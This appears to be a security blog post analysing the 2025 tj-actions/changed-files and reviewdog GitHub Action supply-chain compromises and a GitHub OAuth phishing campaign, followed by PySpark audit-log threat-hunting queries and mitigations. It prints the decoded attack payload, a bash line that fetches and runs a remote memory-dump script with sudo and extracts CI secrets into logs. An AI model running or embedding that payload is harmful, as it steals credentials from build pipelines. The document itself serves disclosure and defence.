New GitHub Supply Chain and OAuth Attacks

‍

In the last few days, two compromised GitHub Actions are actively leaking credentials, and a large-scale OAuth phishing campaign is exploiting developer trust.

On March 14, 2025, StepSecurity detected unusual network activity, leading to the discovery of a supply chain attack on the tj-actions/changed-files GitHub Action. A threat actor modified the code and updated multiple version tags to point to a malicious commit, which injected a script that extracted and exposed secrets in build logs. Any public repositories running workflows with the compromised action unknowingly leaked sensitive credentials. Recent compromises demonstrate how a misconfigured GitHub Action can act as a credential exfiltration vector, propagating secrets across thousands of repositories. Simultaneously, large-scale OAuth phishing campaigns weaponize social engineering to hijack developer accounts and escalate repository access.

Further investigation on March 17, 2025, revealed reviewdog/action-setup (v1) was also compromised, with the earliest indicator being on March 11, 2025, exhibiting a similar attack pattern of malicious code spread to several reviewdog actions, just as seen in tj-actions compromise. As a result, 23K dependent repositories using these actions in their CI/CD pipelines were also exposed to the same vulnerability. The discovery was done by Adnan Khan, in which Wiz elaborated further, suggesting this contributed to the compromise of tj-actions.

In addition to the GitHub Actions compromise, as recently been reported by DarkReading there has been a surge in OAuth phishing attacks targeting GitHub users. Threat actors have been using fraudulent security alerts disguised as legitimate requests, tricking developers into granting unauthorized access to their repositories. These attacks, which have affected thousands of GitHub repositories, have impersonated well-known services such as Adobe Acrobat, DocuSign, and GitHub Notifications. One campaign, in particular, affected over 8K repositories, using a fake "GitHub Notification" to lure developers into granting full repository access.

These incidents highlight the growing threat of supply chain attacks within GitHub, emphasizing the need for stronger security measures and continuous monitoring.

‍

Technical Details

tj-actions/changed-files Action was Compromised

At March 14, 04:00 PM (UTC), StepSecurity identified an endpoint with unusual network traffic. Initial analysis uncovered - most versions of tj-actions/changed-files repository are compromised. A threat actor was able to commit a modification to the action’s code, and able updated many of the versions tags to refer to the modified commit. The modification included a memory dump script.

All of the affected versions release tags were updated to refer to the malicious commit.

Causing the secrets to be printed out in the build logs, in that case - if the logs are public, everyone can read and use the leaked secrets.

The commit included a modification to the dist/index.js and included a base64 encoding, which decoded to:

if [[ "$OSTYPE" == "linux-gnu" ]]; then B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0` echo $B64_BLOB else exit 0 fi

Eventually causing every workflow to execute this code, which dumps secrets and prints them out in the logs. Therefore, every public repository depending on tj-actions/changed-files and had a workflow running within the modification time, leaked their secrets.

‍

reviewdog/action-setup Action was compromised

A recent post by Adnan Khan on X (formerly known as Twitter), elaborated on by Wiz, an additional indication of supply chain attack was identified on reviewdog/action-setup v1 tag, which is suspected to be contributing to the initial compromise of tj-actions/changed-files.

As seen in tj-actions compromise, the threat actor injected malicious code into any CI workflows using reviewdog action. Similar to tj-actions, the payload included a base64 encoded and directly inserted into the install.sh file used by the workflow. Then again, public repositories would allow visibility to the dumped secrets as part of the workflow logs. Initial commit recorded on March 11, 2025, between 18:42~20:31 UTC.

Only one tag (v1) of reviewdog/action-setup Action found to be affected. This Action is then used in additional actions from reviewdog, which includes:

• reviewdog/action-shellcheck
• reviewdog/action-composite-template
• reviewdog/action-staticcheck
• reviewdog/action-ast-grep
• reviewdog/action-typos

‍

An Ongoing Phishing Campaign Targeting Microsoft 365 and GitHub

OAuth attacks reported recently by Jai Vijayan (on DarkReading). Threat actors were found to be using bogus Adobe Acrobat and Adobe Drive logos on malicious OAuth applications, by using malicious injections to advertisement or Microsoft 365 credential phishing sites when clicked on. Another campaign found under the same concept using DocuSign look - alike application, funneling users to credentials phishing sites. Same context was used for GitHub, an attacker is targeting developers by distributing a deceptive OAuth app disguised as a "Security Alert" across thousands of GitHub repositories. Developers who click the fraudulent alert unknowingly grant the attacker full access to their repositories, and most important - secrets.

A security researcher lc4m posted on X, a report on a threat actor using the same concept of a security alert to try and trick developers using the same technique. In this case the fake alert named “GitHub Notification”, reportedly targeting more than 8K GitHub repositories.

Supply chain attacks causes a higher impact and is increasingly growing in GitHub becoming a prime target and a more popular attack surface, with the exposure of secrets, supply chain exploits and pipeline compromises having a much bigger impact. Therefore, requiring a much more hardened environment and applying the necessary monitoring in order to stay ahead of threats, especially in GitHub.

‍

Let’s Perform Threat Hunting on GitHub

The latest campaigns create an important opportunity to search for threat actors in our GitHub environment. Sometimes, threat actors succeed in compromising an environment without triggering critical alerts in your threat detection services. We believe you should assume there are threat actors in your GitHub environment and actively hunt for them.

The primary forensic log source in GitHub is the GitHub Audit Logs (https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise). In this threat hunting suggestion, we are going to use this log source.

Using this log, here there are a set of Indicators of Attacks (IOAs) to proactively detect suspicious activity related to non-human identities, such as GitHub Actions, OAuth apps, and automation bots.

In this threat hunting we are going to focus on three aspects:

• Identifies public repositories, as most affected repos in the latest campaigns.
• Non-human identity activity
• Non-human identity permission granting

You can find a documentation for all the actions here in GitHub documentation above.

All the queries written in PySpark.

‍Important note: The JSONs in GitHub Audit Logs do not contain the same fields for all actions. Our approach to handling this is to create a new column called "json", which contains only the non-common columns

First, Check Which of Your Repositories are Public

The recently published attacks have created a critical security concern especially for public repositories. Therefore, we strongly recommend reviewing and monitoring the public repositories in your organization.

• Get your public repositories based on Audit Logs only:
  • github_auditlogs_df.filter(col("json.public_repo") == True).select('repo').distinct()
• Detect if a private repository was made public:
  • github_auditlogs_df.filter((col("action") == "repo.access") & (col("json.visibility") == "public"))

Check for Non-human Suspicious Activities

Let’s explore how to investigate non-human identities in GitHub using Audit Logs:

• That’s how to identify bot actions in Audit-Logs:
  • github_auditlogs_df.filter(col("json.actor_is_bot") == True) (GitHub Actions, third-party integrations, CI/CD tools, or other automation)
• Specifically, you can identify the GitHub actions bot:
  • github_auditlogs_df.filter(col("actor") == "github-actions[bot]")
• Another way to recognize programmatic access is when “programmatic_access_type” appears.
  • github_auditlogs_df.filter(col("json.programmatic_access_type").isNotNull())
  • There is no correlation between actor_is_bot and this field.
  • The options we see under this field are:
    • Personal access token (classic)
    • Fine-grained personal access token
    • GitHub App server-to-server token
    • GitHub App user-to-server token
    • OAuth access token
    • OAuth access token created before 2021-04-05
    • Public Key (User/Deploy)
• Now, you can search for anomalies in bot or programatic activity, such as anomalous exfiltration events - for example repo.download_zip, git.clone, repo.access, etc.

‍

Check if Non-human Identity Got Permissions

Let’s check if the attack surface for non-human identities in your organization has expanded recently. Who initiated these changes? Are the admin and security teams aware of these changes?

• There are several ways to integrate an application into your GitHub.
  • Detect disabling of OAuth App restrictions:
    • github_auditlogs_df.filter(col("action") == "org.disable_oauth_app_restrictions")
  • Detect new GitHub App installation:
    • github_auditlogs_df.filter(col("action") == "integration_installation.create")
  • Detect the creation of New OAuth application:
    • github_auditlogs_df.filter(col("action") == "oauth_application.create")
  • If it’s possible in your organization, it’s a good practice to enforce admin approval for each new personal access token. If someone disable this configuration in your organization, you want to investigate it:
    • github_auditlogs_df.filter(col("action") == "auto_approve_personal_access_token_requests.enable")

‍

Summary

Recent GitHub supply chain attacks highlight the growing risk of non-human identities being exploited for unauthorized access and persistence. As attackers increasingly target automation tools, CI/CD integrations, and GitHub apps, security teams need to take a proactive approach to threat hunting. Using GitHub Audit Logs, organizations can detect and investigate unusual activity linked to non-human identities, helping to reduce risks and secure their development environments.

We recommend performing regular threat hunts in your GitHub environment to identify potential threats that may evade detection.

Affected organizations should:

• Review and rotate secrets if compromised.
• Pin all GitHub Actions to specific commit SHAs, instead of version tags.
• Be cautious of OAuth authorization requests and verify app legitimacy before granting permissions.

By improving security practices and monitoring dependencies, developers and organizations can stay ahead of evolving threats in the GitHub ecosystem.

‍

References
‍

• https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
• https://www.wiz.io/blog/new-github-action-supply-chain-attack-reviewdog-action-setup
• https://www.darkreading.com/application-security/oauth-attacks-target-microsoft-365-github
• https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise